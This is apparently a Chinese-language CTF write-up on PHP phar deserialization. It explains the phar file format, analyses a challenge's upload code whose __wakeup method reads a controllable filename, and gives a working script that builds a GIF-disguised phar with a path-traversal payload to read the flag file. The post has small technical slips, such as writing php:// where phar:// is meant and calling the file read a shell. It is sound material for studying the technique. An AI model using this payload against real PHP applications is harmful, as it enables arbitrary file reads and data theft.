前言
今天做题遇到一道题———给出了源码,文件上传,只能上传图片,但是upload中存在一些魔术函数,是一道phar反序列化的题目,这里浅研究一下。
一、phar反序列化
上传一个phar后缀的文件,利用phar://伪协议读取phar文件时,会反序列化meta-data中存储信息。
说明:
能上传文件到服务器。当上传文件检测无法上传phar后缀时,能否上传其余后缀能达到同意实现效果
能使用phar://伪协议读取文件(我接触的这里应该是存在filename传参的,或者是file_exit等等函数(这点我暂时还没接触到))
需要了解phar文件的组成,以及能够知道如何构建phar文件
掌握反序列化的流程,能够得到想要的东西
二、phar文件
1、构建phar
- 首先需要在php.ini配置文件中将phar.readonly设置成off
- 然后在phar.readonly这行的前面将分号去掉
- 然后编写php代码,构造好phar的组成部分,之后保存好phar文件
2、phar结构
(1)stub(存根)
判断这个文件是不是phar的标识,格式为xxx,前面的内容不限,但是必须以__HALT_COMPILER();>来结尾
(2)a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
(3)the file contents
被压缩的文件内容
(4)签名 signature (放在文件末尾)
3、一般构建phar文件模板
<?php
// 需要实现的反序列化的内容
class upload{
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new upload();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
三、实例解析
(1)源代码
index.php
<?php
include("class.php");
if(isset($_GET['img_name'])){
$down = new check_img();
echo $down->img_check();
}
if(isset($_FILES["file"]["name"])){
$up = new upload();
echo $up->start();
}
upload.php
<?php
class upload{
public $filename;
public $ext;
public $size;
public $Valid_ext;
public function __construct(){
$this->filename = $_FILES["file"]["name"];
$this->ext = end(explode(".", $_FILES["file"]["name"]));
$this->size = $_FILES["file"]["size"] / 1024;
$this->Valid_ext = array("gif", "jpeg", "jpg", "png");
}
public function start(){
return $this->check();
}
private function check(){
if(file_exists($this->filename)){
return "Image already exsists";
}elseif(!in_array($this->ext, $this->Valid_ext)){
return "Only Image Can Be Uploaded";
}else{
return $this->move();
}
}
private function move(){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
return "Upload succsess!";
}
public function __wakeup(){
echo file_get_contents($this->filename);
}
}
class check_img{
public $img_name;
public function __construct(){
$this->img_name = $_GET['img_name'];
}
public function img_check(){
if(file_exists($this->img_name)){
return "Image exsists";
}else{
return "Image not exsists";
}
}
}
(2)题目分析
- 程序首先会检测文件名,这里存在一个get传参文件名。判断文件名是否重复,这里显然可以使用phar://伪协议读取文件
- 然后上传一个文件,首先检测文件的后缀,只能上传图片格式,然后移动文件至upload下。
- 但是这里存在weakup函数,只要反序列化就会调用,而且是file_get_contents可以读取为文件,如果我们能控制这个filename,那么就可以实现任意文件的读取了。
(3)payload
先创建一个phar.phar文件,然后将其改为gif文件后上传,最后再访问img_name=php://phar.phar文件即可getshell
<?php
class upload
{
public $filename = "../../../../../../../../../../../../flag";
public $ext;
public $size;
public $Valid_ext;
public function __construct()
{
$this->filename = "../../../../../../../../../../../../flag";
$this->ext = end(explode(".", $_FILES["file"]["name"]));
$this->size = $_FILES["file"]["size"] / 1024;
$this->Valid_ext = array("gif", "jpeg", "jpg", "png");
}
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new upload();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
分析一下这个phar文件
首先存在GIF89a的gif前缀,然后存在phar的标志,最后是存在反序列后的代码
参考链接
(1)https://ho1aas.blog.csdn.net/article/details/120101090
(2)https://blog.csdn.net/qq_42181428/article/details/100995404
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮箱至 1627319559@qq.com